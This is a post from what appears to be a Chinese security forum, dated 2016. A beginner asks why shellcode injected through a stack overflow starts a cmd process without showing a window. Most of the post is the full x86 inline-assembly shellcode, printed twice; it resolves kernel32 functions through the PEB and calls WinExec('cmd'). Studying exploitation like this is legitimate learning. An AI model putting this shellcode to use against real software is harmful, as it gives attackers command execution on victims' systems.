-
-
[求助][求助]利用栈溢出，打开了cmd进程，但窗口弹不出来是什么情况
-
发表于: 2016-11-14 13:09
-
小白测试一个程序的栈溢出，将写好的shellcode布置到栈中，shellcode主要就是弹出一个cmd的窗口，但是在测试的时候，shellcode能够准确执行，而且cmd的进程也创建成功了，但是就是没有窗口弹出来。这段shellcode在写成程序单独测试的时候是可以将cmd的窗口弹出来的。源码如下：
int main()
{
_asm
{
CLD
xor edx,edx
mov ebx, fs:[edx + 0x30]; pointer to PEB
mov ecx, [ebx + 0x0c]; pointer to PEB_LDR_DATA
mov ecx, [ecx + 0x1c]; 获得模块链表头指针, 同时也是第一个节点指向下一项的指针
mov ecx, [ecx]
mov ecx, [ecx]
mov ebx, [ecx + 0x8]; base address
mov edx, [ebx + 0x3c]; 基址偏移0x3c, 得到pe头的偏移
add edx, ebx; pe头
mov ecx, edx
add ecx, 0x78; 数据目录 - 导出表
mov ecx, [ecx]
add ecx, ebx; 导出表
mov edx, [ecx + 0x1c]
add edx, ebx; 地址数组
mov eax, [edx + 4 * 829]; 查找LoadLibrary函数
add eax, ebx
mov esi, eax
mov eax, [edx + 4 * 581]; 查找GetProcAddress函数
add eax, ebx
mov edi, eax
mov eax, [edx + 4 * 283]; 查找ExitProcess函数
add eax, ebx
mov ebp, eax
xor edx,edx
push edx
push 0x32336c65
push 0x6e72656b
push esp
call esi;调用loadlibrary函数
xor edx, edx
push 0x636578
push 0x456e6957
push esp
push eax
call edi;调用getprocaddress函数
xor edx, edx
push 0x646d63
push 1
mov edx,esp
add edx,4
push edx
call eax;调用WinExec函数
xor edx, edx
push edx
call ebp;调用exitprocess函数
}
}
这是我改用winexec后的代码，之前使用的是shellexecute函数，同样也是这个情况
PS:窗口的显示参数那里我填的是SHOW_NORMAL，不存在参数的问题
截图如下：
希望各路大牛可以指点一下迷津
int main()
{
_asm
{
CLD
xor edx,edx
mov ebx, fs:[edx + 0x30]; pointer to PEB
mov ecx, [ebx + 0x0c]; pointer to PEB_LDR_DATA
mov ecx, [ecx + 0x1c]; 获得模块链表头指针, 同时也是第一个节点指向下一项的指针
mov ecx, [ecx]
mov ecx, [ecx]
mov ebx, [ecx + 0x8]; base address
mov edx, [ebx + 0x3c]; 基址偏移0x3c, 得到pe头的偏移
add edx, ebx; pe头
mov ecx, edx
add ecx, 0x78; 数据目录 - 导出表
mov ecx, [ecx]
add ecx, ebx; 导出表
mov edx, [ecx + 0x1c]
add edx, ebx; 地址数组
mov eax, [edx + 4 * 829]; 查找LoadLibrary函数
add eax, ebx
mov esi, eax
mov eax, [edx + 4 * 581]; 查找GetProcAddress函数
add eax, ebx
mov edi, eax
mov eax, [edx + 4 * 283]; 查找ExitProcess函数
add eax, ebx
mov ebp, eax
xor edx,edx
push edx
push 0x32336c65
push 0x6e72656b
push esp
call esi;调用loadlibrary函数
xor edx, edx
push 0x636578
push 0x456e6957
push esp
push eax
call edi;调用getprocaddress函数
xor edx, edx
push 0x646d63
push 1
mov edx,esp
add edx,4
push edx
call eax;调用WinExec函数
xor edx, edx
push edx
call ebp;调用exitprocess函数
}
}
这是我改用winexec后的代码，之前使用的是shellexecute函数，同样也是这个情况
PS:窗口的显示参数那里我填的是SHOW_NORMAL，不存在参数的问题
截图如下：
希望各路大牛可以指点一下迷津
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
